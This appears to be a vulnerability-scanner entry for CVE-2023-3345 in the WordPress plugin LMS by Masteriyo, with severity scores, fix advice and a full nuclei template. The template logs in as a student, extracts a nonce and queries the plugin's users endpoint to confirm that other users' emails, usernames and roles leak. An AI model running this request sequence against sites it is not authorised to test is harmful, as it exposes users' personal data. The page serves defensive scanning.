LMS by Masteriyo < 1.6.8 - Information Exposure

mediumseverity

6.5CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.

Impact

An attacker can gain unauthorized access to sensitive information.

Fix

Upgrade LMS by Masteriyo to version 1.6.8 or higher to fix the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/profile.php ; GET /wp-json/masteriyo/v1/users/
Positive when: contains in body_3 "\"username\":" and "\"email\":" and "\"roles\":" AND contains in header_3 "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3345 -u <target>

The full check

id: CVE-2023-3345

info:
  name: LMS by Masteriyo < 1.6.8 - Information Exposure
  author: DhiyaneshDK
  severity: medium
  description: |
    The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.
  impact: |
    An attacker can gain unauthorized access to sensitive information.
  remediation: |
    Upgrade LMS by Masteriyo to version 1.6.8 or higher to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0d07423e-98d2-43a3-824d-562747a3d65a
    - https://github.com/RandomRobbieBF/learning-management-system
    - https://wordpress.org/plugins/learning-management-system
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3345
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-3345
    cwe-id: CWE-200
    epss-score: 0.0197
    epss-percentile: 0.80571
    cpe: cpe:2.3:a:masteriyo:masteriyo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: masteriyo
    product: masteriyo
    framework: wordpress
  tags: cve2023,cve,wp-plugin,wp,wordpress,exposure,authenticated,learning-management-system,wpscan,masteriyo,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/masteriyo/v1/users/ HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '"username":'
          - '"email":'
          - '"roles":'
        condition: and

      - type: word
        part: header_3
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)","versionString'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from